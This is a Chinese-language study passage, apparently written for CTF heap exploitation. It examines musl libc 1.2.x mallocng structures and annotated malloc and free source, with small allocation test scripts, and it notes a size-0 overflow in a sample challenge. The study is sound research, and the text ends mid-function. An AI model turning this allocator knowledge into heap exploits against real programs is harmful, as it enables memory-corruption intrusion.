在该版本之后,并没有像之前一样将chunk结构定义在代码里,所以我们只能自己来进行猜测,大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct chunk {
uint8_t res; // 保留,一直为\x00
uint8_t idx:5;
//低5bit作为idx表示这是group中第几个chunk, 高3bit作为reserved
//如果该chunk被free,则该字节被置为0xff,同时下面的offset被置为0
uint8_t reserved:3; // 不知道干啥的
uint16_t offset; //与第一个chunk的偏移
//如果为4则chunk_addr-0x40=first_chunk_addr
/*如果是group中的第一个chunk,那么还有如下数据
struct meta* meta;//指向管理该group的meta
unsigned char active_idx:5;//占据5bytes,表示该group中共有几个slot,也就是chunk
char pad[UNIT - sizeof(struct meta *) - 1];
*/
char user_data[]; // 最后一字节需要为\x00
char remain_data[]; // 剩余空间最后一字节需要为\x00
uint32_t remain_size; // chunk剩余size大小
};

如下图所示,chunk分布大概如下

image-20220318114135427

其中chunk1的idx即为该group中的第1个Chunk,为0x1

而这整片开辟的空间,包括未被分配的chunk,如下面的马赛克部分且一直向下延申到一定位置,连在一起叫做group

(2)group

也就是通过mmap开辟出来用来存放chunk的一片空间,定义如下

1
2
3
4
5
6
7
8
//1.2.1-src/malloc/mallocng/meta.h
struct group {
struct meta *meta;//即上图头部chunk0中的第一个指针地址
unsigned char active_idx:5;//占据5bytes
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
//即从头部chunk0从0x41开始一直往下的部分,包括chunk1,chunk2..以及未被分配出去的Chunk
};

且group中存放的Chunk的size是在一个范围内,通过如下定义以及计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define IB 4

const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

static inline int a_ctz_32(uint32_t x)
{
#ifdef a_clz_32
return 31-a_clz_32(x&-x);
#else
static const char debruijn32[32] = {
0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
};
return debruijn32[(x&-x)*0x076be629 >> 27];
#endif
}
static inline int a_clz_32(uint32_t x)
{
x >>= 1;
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
x++;
return 31-a_ctz_32(x);
}
static inline int size_to_class(size_t n)
{
n = (n+IB-1)>>4;
if (n<10) return n;
n++;
int i = (28-a_clz_32(n))*4 + 8;
if (n>size_classes[i+1]) i+=2;
if (n>size_classes[i]) i++;
return i;
}

相关汇总计算如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
0x0     ~ 0xc ->0
0xd ~ 0x1c ->1
0x1d ~ 0x2c ->2
0x2d ~ 0x3c ->3
0x3d ~ 0x4c ->4
0x4d ~ 0x5c ->5
0x5d ~ 0x6c ->6
0x6d ~ 0x7c ->7
0x7d ~ 0x8c ->8
0x8d ~ 0x9c ->9
0x9d ~ 0xbc ->10
0xbd ~ 0xec ->11
0xed ~ 0x11c ->12
0x11d ~ 0x13c ->13
0x13d ~ 0x18c ->14
0x18d ~ 0x1ec ->15
0x1ed ~ 0x23c ->16
0x23d ~ 0x29c ->17
0x29d ~ 0x31c ->18
0x31d ~ 0x3ec ->19
0x3ed ~ 0x47c ->20
0x47d ~ 0x53c ->21
0x53d ~ 0x65c ->22
0x65d ~ 0x7ec ->23
0x7ed ~ 0x91c ->24
0x91d ~ 0xa9c ->25
0xa9d ~ 0xcbc ->26
0xcbd ~ 0xfec ->27
0xfed ~ 0x123c ->28
0x123d ~ 0x153c ->29
0x153d ~ 0x198c ->30
0x198d ~ 0x1fec ->31
0x1fed ~ 0x247c ->32
0x247d ~ 0x2a9c ->33
0x2a9d ~ 0x331c ->34
0x331d ~ 0x3fec ->35
0x3fed ~ 0x490c ->36
0x490d ~ 0x553c ->37
0x553d ~ 0x664c ->38
0x664d ~ 0x7fec ->39
0x7fed ~ 0x923c ->40
0x923d ~ 0xaa9c ->41
0xaa9d ~ 0xccbc ->42
0xccbd ~ 0xffec ->43
0xffed ~ 0x1247c ->44
0x1247d ~ 0x1553c ->45
0x1553d ~ 0x1997c ->46

也就是说一个group中的chunk大小范围要么是0x0 ~ 0xc ,要么是0xd~ 0x1c,依次类推。且依据上述转换表,一个范围对应一个索引,该索引即用来寻找meta的索引。

(3)meta

而用来管理group的结构称为meta,一个meta对应一个group,而上面结构定义中的group中的meta指针即指向管理本group的meta,其定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//1.2.1-src/malloc/mallocng/meta.h
struct meta {
//存在多个meta,通过循环双向链表串联起来
//释放之后有用,没有释放的则指向本身
struct meta *prev, *next;
struct group *mem;//指向本meta管理的group

//freed_mask是当前meta的group中被free的chunk的bitmap, 4bytes
//avail_mask是当前meta的group中目前可用chunk的bitmap, 4bytes
//由于是4bytes,总共32bit,那么最多可有32个chunk
//这里很奇怪啊,直接0/1表示可用不可用呗,那要是某个chunk在这两个free和avail的bitmap
//中对应的bit都为1或都为0又怎么算呢
//这里好像被free的chunk其freed_mask对应的bit会马上被置为1
//但是avail_mask对应的bit却不会马上置1,暂时标记不可用状态
volatile int avail_mask, freed_mask;


uintptr_t last_idx:5;//group中最后一个chunk的idx索引 (5bit)
uintptr_t freeable:1;//表示当前meta是否可以被free(1:可以,0:不可以)(1bit)

//由于一个Group中的chunk的size在一个范围内,所以需要通过sizeclass来追踪计算size
uintptr_t sizeclass:6;//(6bit)

uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

(4)meta_area

顾名思义,这个结构就是用来管理meta的,相关定义如下

1
2
3
4
5
6
7
8
//1.2.1-src/malloc/mallocng/meta.h
struct meta_area
{
uint64_t chevck; //校验值
struct meta_area *next; //下一个分配区,即下一页(0x1000为一页)
int nslots; //总共多少个slots
struct meta slots[]; //从其中索引其下面的meta
};

分配meta时, 总是先分配一页的内存, 然后划分为多个等待分配的meta区域,meta_arena描述的就是一页内存的最开始部分。

(5)malloc_context

这个就相当于整个分配内存机制总管理的一个结构,类似于glibc中的main_arena相关定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//1.2.1-src/malloc/mallocng/meta.h
struct malloc_context
{
uint64_t secret;
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done; //有无完成初始化
unsigned mmap_counter; //mmap内存总数
struct meta *free_meta_head; //释放的meta组成的队列
struct meta *avail_meta; //指向可用meta对象
//可用meta计数、可用meta_area计数、不知道
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail; //分配区头尾指针
unsigned char *avail_meta_areas;
struct meta *active[48]; //活动的meta
size_t usage_by_class[48]; //这个大小级别使用了多少内存
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

extern struct malloc_context ctx;

总的来说,数据结构大致如下所示

img

2.维护方式

使用freed_maskavail_mask来确定,如下图所示,在active[2](即size在0x1d~0x2c的chunk)中现在有

image-20220317141333259

我们将active[2]中avail_mask置1的chunk都申请出来之后,即代表这个group无法接着为我们的申请提供chunk的话,比如这里就是需要申请出chunk0~chunk9,然后再申请的话就会进行判断

  • 如果该group中存在被free的chunk,即freed_mask中置1的chunk,那么就返回该chunk,这里也存在一个顺序问题,不会管是先释放还是后释放的,只会从上到下进行分配,如下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(8):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)

for i in range(6,-1,-1):
free(i)

dbg()
add_malloc(0x2c)
add_malloc(0x2c)
pause()
add_malloc(0x2c)
edit(10,0x10,p8(0x11)*0x10)
pause()

第一次dbg()断点的地方先申请8个chunk,那么现在在该group的avail_mask中应该为1100000000freed_mask应该为1111111

image-20220317143430652

我们接着申请两个Chunk,在第二次断点处,其avail_mask应该为0,而freed_mask不变

这时候再申请一个chunk,即可申请出group中从上往下数首个被free的chunk,这时freed_mask被清空,avail_mask依据freed_mask进行重置

image-20220317144243283

其实总而言之就是当耗尽group中的avail_mask对应的可用chunk之后,再申请就会检测该group中是否存在被free的chunk,存在就会对被free的chunk进行处理,归到avail中,相应的avail_mask和freed_mask发生变化。

而如果我们改变释放顺序,依然申请出首个可用chunk,和释放顺序无关

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(8):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)

for i in range(0,7):
free(i)
dbg()
add_malloc(0x2c)
add_malloc(0x2c)
pause()
add_malloc(0x2c)
edit(10,0x10,p8(0x11)*0x10)
pause()

如下效果

image-20220317144709749

  • 当申请到该group中无可用chunk时,尝试从该size的meta队列中的其他meta对应的group来申请chunk。
1
2
3
4
5
6
7
8
for i in range(11):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)
free(0)
for i in range(11):
add_malloc(0x2c)
edit(i+11,0x10,p8(i+11)*0x10)
dbg()

如下图所示,我们在申请出另外一个meta-group(meta1)之后,free掉第一个meta-group(meta0)中的Chunk,然后当我们消耗完meta1中的空间之后,再申请chunk的话会检测该size的meta队列,试图从中申请chunk出来,如下图即从meta0中申请出我们刚刚释放的Chunk。

image-20220317153130762

  • 当该size的meta队列中无avail的chunk无free的chunk时,就会再分配一个meta-group来进行再分配
1
2
3
4
for i in range(11):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)
dbg()

原来的group已经不可用了,所以新分配了一个group

image-20220317144959413

3.关键函数

(1)malloc

参考:

musl-1.2.x堆部分源码分析 - 安全客,安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势 - 安全客,安全资讯平台 (anquanke.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
//v1.2.1  /src/malloc/mallocng/malloc.c
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;//是否超过申请的最大值,这个最大值不知道多少
/*
static inline int size_overflows(size_t n)
{
if (n >= SIZE_MAX/2 - 4096) {
errno = ENOMEM;
return 1;
}
return 0;
}
*/
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

//mmap分配 #define MMAP_THRESHOLD 131052(0x1FFEC)
if (n >= MMAP_THRESHOLD) {
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
//记录分配信息
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;//meta的sizeclass为63代表mmap分配
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
// use a global counter to cycle offset in
// individually-mmapped allocations.
//记录分配个数
ctx.mmap_counter++;
idx = 0;
goto success;
}

//寻找size对应的meta,ctx.active[sc]
sc = size_to_class(n);
rdlock();
g = ctx.active[sc];

// use coarse size classes initially when there are not yet
// any groups of desired size. this allows counts of 2 or 3
// to be allocated at first rather than having to start with
// 7 or 5, the min counts for even size classes.
//对应size的meta为空且4=<sc<=32且不等于6且为偶数并且该sc没有正在使用的chunk
//那么申请的chunk就会从sc+1开始申请,比如申请0x8c,对应的sc应该是8,但是由于
//满足这个条件,sc为8的meta没有正在使用的chunk,对应就会从sc+1=9处开始申请
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}

//取到avail_mask最低位的1,置零之后计算idx
//根据idx从group中寻找可用chunk
for (;;) {
//meta中的可用内存的bitmap, 如果g为0那么就设为0, 表示没有可用chunk
mask = g ? g->avail_mask : 0;
//找到avail_mask的bit中第一个为1的bit
first = mask&-mask;
//如果没找到就停止
if (!first) break;
//设置avail_mask中first对应的bit为0
//下面是锁机制,不太懂
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
//找到之后设置avail_mask之后转为idx, 结束
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
//找到对应meta
g = ctx.active[sc];

success:
ctr = ctx.mmap_counter;
unlock();
//从g中分配第idx个chunk, 大小为n
return enframe(g, idx, n, ctr);
}
  • 判断有无超过mmap的阈值, 如果超过就mmap分配

  • 如果没有超过, size转sc之后, 通过ctx.active[sc]找到对应的meta队列, 尝试从队列中首个meta里分配chunk

  • 如果这个队列为空, 或者这个meta的avail_mask里面没有合适的chunk, 那就调用alloc_slot()获取chunk

  • 找到group与idx之后通过enframe()分配出这个chunk

🔺注:

需要注意的是,并没有对size为0进行限制,所以我们也可以申请size为0的Chunk,万一如下代码所示

1
2
3
4
5
size = readint("size?", a2);
*(_QWORD *)v5 = malloc(size);
v5[2] = size - 1;
puts("Contnet?");
return readn(*(_QWORD *)v5, v5[2]);

那么size为0就可以无限溢出了啊

①alloc_slot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//v1.2.1 /src/malloc/mallocng/malloc.c
static int alloc_slot(int sc, size_t req)
{
//尝试在该size的meta对应的active[sc]队列内部分配chunk
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);//分配成功直接返回

//如果该size的meta对应的active[sc]队列中没有合适的avail_mask
//和freed_mask对应的chunk,那么就再分配一个meta-group,插入队列中
struct meta *g = alloc_group(sc, req);
if (!g) return -1;

g->avail_mask--;
//新分配的g入队
queue(&ctx.active[sc], g);
return 0;
}
  • 首先会通过try_avail()在以下位置寻找可用的chunk,
    • ctx.active[sc]的meta-group的freed_mask中
    • 队列中其他meta-group的avail_mask和freed_mask中
  • 如果失败,或者这个队列本来就空, 那么就会调用alloc_group()直接分配一个新的meta与对应的group,然后调用queue插入ctx.avtive[sc]这个队列中

②try_avail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//v1.2.1 /src/malloc/mallocng/malloc.c
static uint32_t try_avail(struct meta **pm)
{
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;//如果ctx.active[sc]==NULL, 即该队列为空,直接返回

//ctx.active[sc]对应的meta-group的avail_mask中无可用chunk
uint32_t mask = m->avail_mask;
if (!mask) {
if (!m) return 0;
//ctx.active[sc]对应的meta-group的freed_mask中也没有chunk时
//代表都在使用中,从队列中弹出该meta-group
if (!m->freed_mask) {
dequeue(pm, m);
m = *pm;
if (!m) return 0;
} else {
//获取队列中下一个meta-group
m = m->next;
*pm = m;
}

//如果这个meta-group中所有的chunk都被释放了, 那么就再下一个meta-group
//即不从下一个全free或者没有申请chunk的meta-group中申请chunk
mask = m->freed_mask;
// skip fully-free group unless it's the only one
// or it's a permanently non-freeable group
if (mask == (2u<<m->last_idx)-1 && m->freeable) {
m = m->next;
*pm = m;
mask = m->freed_mask;
}

//没太看懂想干啥
// activate more slots in a not-fully-active group
// if needed, but only as a last resort. prefer using
// any other group with free slots. this avoids
// touching & dirtying as-yet-unused pages.
if (!(mask & ((2u<<m->mem->active_idx)-1))) {
if (m->next != m) {
m = m->next;
*pm = m;
} else {
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
// activate up to next 4k boundary
while ((span^(span+size-1)) < 4096) {
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}
//重新设置这个meta-group,freed_mask和avail_mask的设置
mask = activate_group(m);
/*其实也就是设置设置一下freed_mask和avail_mask
static inline uint32_t activate_group(struct meta *m)
{
assert(!m->avail_mask);
uint32_t mask, act = (2u<<m->mem->active_idx)-1;
do mask = m->freed_mask;
while (a_cas(&m->freed_mask, mask, mask&~act)!=mask);
return m->avail_mask = mask & act;
}
*/
assert(mask);
decay_bounces(m->sizeclass);
}
//取出
first = mask&-mask;
m->avail_mask = mask-first;
return first;
}
  • 查看这个meta-group中freed_mask中有无chunk,如果freed_mask为0, 说明这个meta-group中没有释放的chunk,就从队列中取出
  • 如果有的话就会通过active_group()把freed_mask中的chunk转移到avail_mask中

③alloc_group

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
//v1.2.1 /src/malloc/mallocng/malloc.c
//用来分配一个新的group
static struct meta *alloc_group(int sc, size_t req)
{
size_t size = UNIT*size_classes[sc];
int i = 0, cnt;
unsigned char *p;
//先分配一个meta管理group
struct meta *m = alloc_meta();
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;
if (sc < 9) {
while (i<2 && 4*small_cnt_tab[sc][i] > usage)
i++;
cnt = small_cnt_tab[sc][i];
} else {
// lookup max number of slots fitting in power-of-two size
// from a table, along with number of factors of two we
// can divide out without a remainder or reaching 1.
cnt = med_cnt_tab[sc&3];

// reduce cnt to avoid excessive eagar allocation.
while (!(cnt&1) && 4*cnt > usage)
cnt >>= 1;

// data structures don't support groups whose slot offsets
// in units don't fit in 16 bits.
while (size*cnt >= 65536*UNIT)
cnt >>= 1;
}

// If we selected a count of 1 above but it's not sufficient to use
// mmap, increase to 2. Then it might be; if not it will nest.
if (cnt==1 && size*cnt+UNIT <= pagesize/2) cnt = 2;

// All choices of size*cnt are "just below" a power of two, so anything
// larger than half the page size should be allocated as whole pages.
if (size*cnt+UNIT > pagesize/2) {
// check/update bounce counter to start/increase retention
// of freed maps, and inhibit use of low-count, odd-size
// small mappings and single-slot groups if activated.
int nosmall = is_bouncing(sc);
account_bounce(sc);
step_seq();

// since the following count reduction opportunities have
// an absolute memory usage cost, don't overdo them. count
// coarse usage as part of usage.
if (!(sc&1) && sc<32) usage += ctx.usage_by_class[sc+1];

// try to drop to a lower count if the one found above
// increases usage by more than 25%. these reduced counts
// roughly fill an integral number of pages, just not a
// power of two, limiting amount of unusable space.
if (4*cnt > usage && !nosmall) {
if (0);
else if ((sc&3)==1 && size*cnt>8*pagesize) cnt = 2;
else if ((sc&3)==2 && size*cnt>4*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>8*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>2*pagesize) cnt = 5;
}
size_t needed = size*cnt + UNIT;
needed += -needed & (pagesize-1);

// produce an individually-mmapped allocation if usage is low,
// bounce counter hasn't triggered, and either it saves memory
// or it avoids eagar slot allocation without wasting too much.
if (!nosmall && cnt<=7) {
req += IB + UNIT;
req += -req & (pagesize-1);
if (req<size+UNIT || (req>=4*pagesize && 2*cnt>usage)) {
cnt = 1;
needed = req;
}
}

p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) {
free_meta(m);
return 0;
}
m->maplen = needed>>12;
ctx.mmap_counter++;
active_idx = (4096-UNIT)/size-1;
if (active_idx > cnt-1) active_idx = cnt-1;
if (active_idx < 0) active_idx = 0;
} else {
int j = size_to_class(UNIT+cnt*size-IB);
int idx = alloc_slot(j, UNIT+cnt*size-IB);
if (idx < 0) {
free_meta(m);
return 0;
}
struct meta *g = ctx.active[j];
p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter);
m->maplen = 0;
p[-3] = (p[-3]&31) | (6<<5);
for (int i=0; i<=cnt; i++)
p[UNIT+i*size-4] = 0;
active_idx = cnt-1;
}
ctx.usage_by_class[sc] += cnt;
m->avail_mask = (2u<<active_idx)-1;
m->freed_mask = (2u<<(cnt-1))-1 - m->avail_mask;
m->mem = (void *)p;
m->mem->meta = m;
m->mem->active_idx = active_idx;
m->last_idx = cnt-1;
m->freeable = 1;
m->sizeclass = sc;
return m;
}

通过mmap分配Group,初始化相关信息。

④alloc_meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
//v1.2.1 /src/malloc/mallocng/malloc.c
//用来分配meta对象
struct meta *alloc_meta(void)
{
struct meta *m;
unsigned char *p;
//判断ctx是否完成初始化,没完成就整一下
if (!ctx.init_done) {
#ifndef PAGESIZE
ctx.pagesize = get_page_size();
#endif
ctx.secret = get_random_secret();
ctx.init_done = 1;
}

//pagesize的设置
size_t pagesize = PGSZ;
if (pagesize < 4096) pagesize = 4096;

//首先看能不能从free_meta_head中获得meta对象,一般是将一个meta-group中的
//chunk全部分配完然后全部释放完就会自动进入meta-group的释放阶段,成功就进入
//进入到ctx.free_meta_head中
if ((m = dequeue_head(&ctx.free_meta_head))) return m;

//ctx中如果没有可用的meat对象
if (!ctx.avail_meta_count) {
int need_unprotect = 1;
//ctx中没有空闲的meat对象且ctx.brk不为-1
if (!ctx.avail_meta_area_count && ctx.brk!=-1) {
//分配一页内存0x1000
uintptr_t new = ctx.brk + pagesize;
int need_guard = 0;
//如果ctx.brk为0,一般在初始化的时候
if (!ctx.brk) {
need_guard = 1;
//调用brk()获取堆地址
ctx.brk = brk(0);
// some ancient kernels returned _ebss
// instead of next page as initial brk.
ctx.brk += -ctx.brk & (pagesize-1);
new = ctx.brk + 2*pagesize;
}
//brk()分配heap到new地址失败
if (brk(new) != new) {
ctx.brk = -1;
}
//分配成功
else {
//保护页, 在brk后面映射一个不可用的页(PROT_NONE),
//如果堆溢出到这里就会发送SIGV
if (need_guard) mmap((void *)ctx.brk, pagesize,
PROT_NONE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
ctx.brk = new;
//把这一页全划分为meta对象
ctx.avail_meta_areas = (void *)(new - pagesize);
ctx.avail_meta_area_count = pagesize>>12;
need_unprotect = 0;
}
}
//如果前面brk()分配失败了, 直接mmap匿名映射一片PROT_NONE的内存再划分
if (!ctx.avail_meta_area_count) {
size_t n = 2UL << ctx.meta_alloc_shift;
p = mmap(0, n*pagesize, PROT_NONE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
ctx.avail_meta_areas = p + pagesize;
ctx.avail_meta_area_count = (n-1)*(pagesize>>12);
ctx.meta_alloc_shift++;
}
//如果avail_meta_areas与4K对齐, 那么就说明这片区域是刚刚申请的一页
//所以需要修改内存的权限,更改为读写保护的
p = ctx.avail_meta_areas;
if ((uintptr_t)p & (pagesize-1)) need_unprotect = 0;
if (need_unprotect)
if (mprotect(p, pagesize, PROT_READ|PROT_WRITE)
&& errno != ENOSYS)
return 0;
ctx.avail_meta_area_count--;
ctx.avail_meta_areas = p + 4096;
if (ctx.meta_area_tail) {
ctx.meta_area_tail->next = (void *)p;
} else {
ctx.meta_area_head = (void *)p;
}

//初始化ctx的相关信息
ctx.meta_area_tail = (void *)p;
ctx.meta_area_tail->check = ctx.secret;
ctx.avail_meta_count = ctx.meta_area_tail->nslots
= (4096-sizeof(struct meta_area))/sizeof *m;
ctx.avail_meta = ctx.meta_area_tail->slots;
}
//ctx的可用meta对象数组中有能用的,从中直接分配出来即可
ctx.avail_meta_count--;
m = ctx.avail_meta++;
m->prev = m->next = 0;
return m;
}
  • 查看ctx是否完成初始化,没完成就初始化一下
  • 如果ctx.free_meta_head链表中有空闲的meta, 那么直接从这里分配一个meta
  • 如果ctx.avail_meta_count>0,代表最开始分配出来的meta对象还没有被用完,直接从ctx.avail_meta对象数组中分配一个
  • 如果ctx.avail_meta_count=0,则代表最开始分配的meta对象已经用完,没有可用的,那么就说明需要向OS申请内存存放meta
    • 先通过brk分配1页,如果分配成功,则将新的内存页直接划分为meta对象,然后修改之后的内存页的权限。
    • 如果brk失败的话则会通过mmap()分配许多页内存, 但是这些内存都是PROT_NONE的, 属于guard page, 堆溢出到这些页面会引发SIGV, 而meta不使用开头与结尾的一页, 防止被溢出
  • 分配成功后设置ctx中的meta_area_tail, avail_meta_cnt等信息, 把新分配的一页作为待划分的meta。

⑤enframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//v1.2.1 /src/malloc/mallocng/meta.h
//分配chunk时,设置group用的函数
static inline void *enframe(struct meta *g, int idx, size_t n, int ctr)
{
size_t stride = get_stride(g);
size_t slack = (stride-IB-n)/UNIT;
unsigned char *p = g->mem->storage + stride*idx;
unsigned char *end = p+stride-IB;
// cycle offset within slot to increase interval to address
// reuse, facilitate trapping double-free.
int off = (p[-3] ? *(uint16_t *)(p-2) + 1 : ctr) & 255;
assert(!p[-4]);
if (off > slack) {
size_t m = slack;
m |= m>>1; m |= m>>2; m |= m>>4;
off &= m;
if (off > slack) off -= slack+1;
assert(off <= slack);
}
if (off) {
// store offset in unused header at offset zero
// if enframing at non-zero offset.
*(uint16_t *)(p-2) = off;
p[-3] = 7<<5;
p += UNIT*off;
// for nonzero offset there is no permanent check
// byte, so make one.
p[-4] = 0;
}
*(uint16_t *)(p-2) = (size_t)(p-g->mem->storage)/UNIT;
p[-3] = idx;
set_size(p, end, n);
return p;
}

(2)free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void free(void *p)
{
if (!p) return;
//获取相关信息
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end);

//计算这个chunk对应avail_mask和freed_mask的bitmap
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
*(uint16_t *)((char *)p-2) = 0;

// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
//在meta->freed_mask中标记一下, 表示这个chunk已经被释放了
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));//要释放的chunk应该既不在freed中, 也不在avail中

/*
1.如果满足 mask+self==all , 那就说明释放了这个chunk之后这个group
中所有chunk都被释放,就需要调用nontrivial_free回收整个meta-group
因此这个meta需要调用nontrivial_free()回收这个group
2.如果满足 !freed ,那么就说明该meta-group中没有被释放的chunk,有可能是第一次从该
有可能这个group全部被分配出去了, 这样group是会弹出avtive队列的, 而现在释放了一个
其中的chunk,所以需要调用nontrivial_free()把这个group重新加入队列
*/
if (!freed || mask+self==all) break;

//线程方面的一些知识,还不是太会
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
  • 通过get_meta()找到chunk对应的meta,重置idx与offset,将meta的freed_mask中标记一下就算释放完毕了。
  • 有一些特殊情况的,需要跳出循环来调用nontrivial_free()完成相关操作

①nontrivial_free()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

//如果meta-group中所有chunk要么被释放要么可使用
//并且g可以被释放(不是mmap出来的),那么就要回收掉整个meta
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
